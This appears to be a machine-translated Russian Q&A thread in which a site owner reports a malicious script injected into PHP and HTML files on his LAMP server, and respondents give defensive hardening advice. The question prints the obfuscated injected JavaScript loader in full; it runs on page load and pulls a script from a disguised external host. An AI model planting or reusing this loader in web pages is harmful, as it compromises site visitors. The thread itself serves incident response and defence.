Назад | Перейти на главную страницу

Вредоносный скрипт на сервере LAMP

Недавно мы заметили, что вредоносный скрипт встраивается в ряд файлов PHP и HTML на нашем домене questoons.com и в различные дополнительные домены, размещенные в этой учетной записи. Скрипт вставляется в конец файла, и его код выглядит следующим образом:

<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src',  'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script>

Расскажите, как это могло произойти и как остановить его распространение и предотвратить дальнейшее заражение.

С уважением,

Винаяк

Сам код сценария ничего не говорит о том, как он туда попал - скорее всего, программное обеспечение, работающее на вашем сервере, или сетевые настройки вашего сервера привели вас туда (например, система управления контентом, программное обеспечение форума и т. Д., Которое вы используете, функции файлового сервера или Другой)

Без анализа ваших файлов журнала (которые могут быть изменены) и программного обеспечения (и версий), которое вы используете, нельзя ничего сказать о причине. Вот только о мерах предосторожности, которые нужно соблюдать в будущем:

Среди них:

  • Если вы используете стандартные компоненты (с открытым или закрытым исходным кодом), убедитесь, что у вас всегда последняя версия.
  • подписывайтесь на список рассылки поставщиков программного обеспечения, откуда они отправляют уведомления об обновлениях и проблемах, связанных с безопасностью (также для проектов с открытым исходным кодом)
  • при наличии обновлений безопасности: обновите как можно быстрее.
  • убедитесь, что учетная запись пользователя, которую использует веб-сервер, не имеет права записи ни в какой каталог, обслуживаемый веб-сервером.
  • используйте хорошо протестированное программное обеспечение, которое известно своей надежностью, вместо случайного кода примера, чтобы взломать собственное решение
  • знать о типичных проблемах безопасности в среде, которую вы используете, и о том, как защитить сервер от атак (например, php может разрешить включение удаленного кода, который будет выполняться на сервере)
  • запустите свой веб-сервер за брандмауэром, который запрещает веб-серверу выходить в Интернет.
  • ограничить доступ к другим сервисам (например, ssh, nfs, samba и т. д.) тем, кто в них действительно нуждается

Есть еще кое-что - это первое, что приходит в голову. Отвечая здесь, вы действительно можете получить только первое представление о том, что делать. Стандартные процедуры укрепления системы повсюду хорошо документированы. Будьте готовы: это тяжелая работа.

Существует много факторов, ведущих к манипуляциям с файлами, прежде всего, вам необходимо убедиться, что программное обеспечение, обеспечивающее доступ к вашим файлам, обновлено (ftp / http / и т. Д.), Что пароли имеют хорошую сложность, что ваши файлы имеют правильные разрешения файловой системы и права собственности, вы должны убедиться, что код, выполняемый на сервере (например, php), правильно дезинфицирует входные данные, контроль контрольных сумм файлов также является хорошим вариантом. Теперь, когда вы были скомпрометированы, вы наверняка будете более уверены в восстановлении сервера, изменении всех паролей и проверке кода, выполняющегося на нем.